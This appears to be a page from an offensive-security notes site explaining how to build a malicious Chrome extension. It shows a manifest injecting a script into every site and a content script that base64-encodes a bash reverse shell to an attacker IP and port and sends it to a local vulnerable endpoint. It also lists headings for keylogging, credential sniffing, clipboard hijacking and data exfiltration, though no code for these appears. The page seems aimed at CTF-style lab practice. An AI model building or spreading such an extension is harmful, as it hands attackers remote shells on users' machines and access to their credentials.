Page cover
githubEdit

chromeCreate Malicious Chrome Extension

chevron-rightAnatomy of a Malicious Extensionhashtag

To build one, you typically only need two files:

circle-info

manifest.json

This file defines what the extension can do.

  • permissions: Request access to storage (to persist data) or tabs.

  • host_permissions: Use <all_urls> to ensure your script runs on every site the user visits.

  • content_scripts: This is the engine. It tells Chrome which JavaScript file to inject into pages.

{
  "manifest_version": 3,
  "name": "AppName",
  "version": "1.0",
  "permissions": ["storage", "activeTab"],
  "host_permissions": ["<all_urls>"],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"]
    }
  ]
}
circle-info

content.js

This script runs in the context of the web pages the user visits.

It has full access to the DOM.

SSRF Command Injection PoC
// Configuration
const attackerIP = "10.10.14.5";      // Your VPN/attacking machine IP
const attackerPort = "4444";          // Your netcat listener port
const TARGET = "http://127.0.0.1:5000/vulnerable-endpoint/";  // Local vulnerable service

// Reverse shell payload
const cmd = `bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1`;
const b64 = btoa(cmd);

const exploit = `YOUR_INJECTION_HERE_${b64}`;

// Send the exploit to the vulnerable local endpoint
fetch(TARGET + encodeURIComponent(exploit), { mode: "no-cors" });
chevron-rightCommon Payloadshashtag
circle-info

When exploiting internal services via an extension, always use Base64 encoding for your payloads.

Since your code is running inside a fetch() or img.src, special characters will break the URL structure.

circle-info

SSRF via Extension

Extensions can bypass Same-Origin Policy restrictions in certain contexts or use the browser as a proxy to hit internal APIs.

circle-info

Data Exfiltration (Beacons)

To send stolen data (cookies, tokens, or command output) back to your server:

circle-info

Credential Sniffing

Hooking into form submissions to steal passwords:

circle-info

Clipboard Hijacking

circle-info

Screenshot Capture

This must run in background.js, not content.js

Alternative with two files:

circle-info

Keylogging

circle-info

Form Hijacking

chevron-rightManifest Permissionshashtag

Last updated